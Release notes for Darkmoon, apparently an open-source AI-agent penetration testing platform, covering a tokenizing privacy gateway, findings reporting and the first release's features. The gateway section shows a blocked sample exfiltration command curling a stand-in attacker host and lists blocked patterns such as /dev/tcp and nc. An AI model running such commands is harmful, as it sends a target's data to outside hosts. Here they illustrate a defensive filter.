v1.2.0 — Privacy Gateway (reversible local tokenization)

Darkmoon v1.2.0 — Privacy Gateway (reversible local tokenization)

The AI never sees your real sensitive values anymore. Darkmoon now stands between the LLM and execution with a reversible tokenization gateway: the model only ever handles deterministic placeholders (IP_PRIVATE_001, HOST_INTERNAL_001, EMAIL_001, URL_001, PATH_001, …). Real IPs, hostnames, domains, URLs, emails, credentials and internal paths are injected locally, right before a tool runs, and re-masked out of every result before it goes back to the model — so nothing sensitive leaves your perimeter to the model provider.

What's new

• PrivacyVault — deterministic, per-session, reversible map. The same value always maps to the same placeholder within a session; real values are held only as Fernet ciphertext (de-duplicated by HMAC), so logs and memory dumps show placeholders and ciphertext, never secrets. TTL-bounded. Credentials are never restored into a command.
• CommandGateway — context-aware rehydration (never a naive global replace). It resolves a placeholder only after the surrounding shell context is proven safe, and blocks exfiltration: a placeholder in a URL query/fragment, a literal external host, echo/print, an outbound request body, /dev/tcp, or nc/telnet to a non-target. Understands bash -c wrappers and structured tool calls (rehydrates only whitelisted fields). Two-pass output sanitization.

Model sees:      Host IP_PRIVATE_001 has 80,443 open
Model emits:     nmap -sV IP_PRIVATE_001 -p 80,443
Runs locally:    nmap -sV 10.42.1.5 -p 80,443
Blocked:         curl https://attacker.tld/?target=IP_PRIVATE_001

Enabled by default

On unless you set DARKMOON_PRIVACY=0. Tokenized categories are tunable via DARKMOON_PRIVACY_CATEGORIES (conservative default: IPs, internal hosts, emails).

Validation

• 22 unit tests covering the 7 required properties (LLM never receives the real value · deterministic mapping · correct local execution · output sanitized · exfiltration blocked · placeholders unresolvable by the LLM · secrets never restored).
• End-to-end on OWASP Juice Shop with Claude Opus 4.6: the gateway was active for the entire engagement (the model only ever saw placeholders) while the pentest stayed fully effective. No performance regression — tokenization adds ~52µs per command and ~18ms on a 119 KB output, negligible next to the seconds each tool takes.

Editions

The core mechanism is open-source (Community). The Pro edition adds enterprise hardening: the vault sealed by the runtime guard, an audit trail of rehydrations, and a compliance-grade no-data-left-the-perimeter statement in the signed report.

Bumps the runtime version to opencode-darkmoon-1.2.0.

Darkmoon v1.1.0 — Authoritative reporting & adversarial qualification

Darkmoon v1.1.0

Highlights

Authoritative findings persistence & reporting

• The pentest engine now persists every finding to a server-side store the moment it is discovered (init → push → finalize), and the final Markdown report is generated from that store instead of being re-written from memory.
• Result: the report is complete and authoritative by construction — its finding count equals the number of findings actually discovered. No more vulns silently dropped from the report.

Adversarial status qualification (anti-false-positive)

• A lightweight, adversarial qualification step governs each finding's status (EXPLOITED / CONFIRMED / UNCONFIRMED) and severity by demonstrated impact, not mere observation.
• Bare HTTP 200s, differential-only responses, payloads echoed in JSON, files served-but-not-executed, and public-by-design secrets are qualified honestly — better qualification, never fewer findings.

Notes

• Applies across the orchestrator and all specialized sub-agents.
• conf/tui version: opencode-darkmoon-1.1.0.

Darkmoon v1.0.0 — First public release

Darkmoon v1.0.0

First public release of Darkmoon — the open-source AI-powered autonomous penetration testing platform.

Darkmoon orchestrates complete security assessments using AI agents that reason, plan, and coordinate specialized sub-agents through a controlled MCP execution layer. You give it a target, it runs the full assessment and produces an evidence-based report.

Highlights

• Autonomous multi-agent pentesting — a primary agent plans the engagement and dispatches specialized sub-agents (Web, Active Directory, Kubernetes, Network, CMS, and more)
• Controlled execution layer — the AI never runs tools directly; every action flows through the Darkmoon MCP server (binary allowlist + sandboxed Docker toolbox)
• 50+ integrated security tools — Nuclei, NetExec, BloodHound, sqlmap, Naabu, httpx, ffuf, the impacket suite, and more
• Typed workflows — port scanning, subdomain discovery, vulnerability scanning, web crawling, Kubernetes audit, AD enumeration
• Cloud or local LLM — Anthropic, OpenAI, OpenRouter, or local models (Ollama, llama.cpp)
• Automated reporting — structured, evidence-based reports aligned with NIST SP 800-115 and MITRE ATT&CK

Quick start

git clone https://github.com/ASCIT31/Dark-Moon.git
cd Dark-Moon
./install.sh          # configure your LLM provider + build the stack
./darkmoon.sh "TARGET: example.com"

Requires Docker + Docker Compose and an LLM API key.

Documentation

• Full documentation
• Contributing

Licensed under GPL-3.0.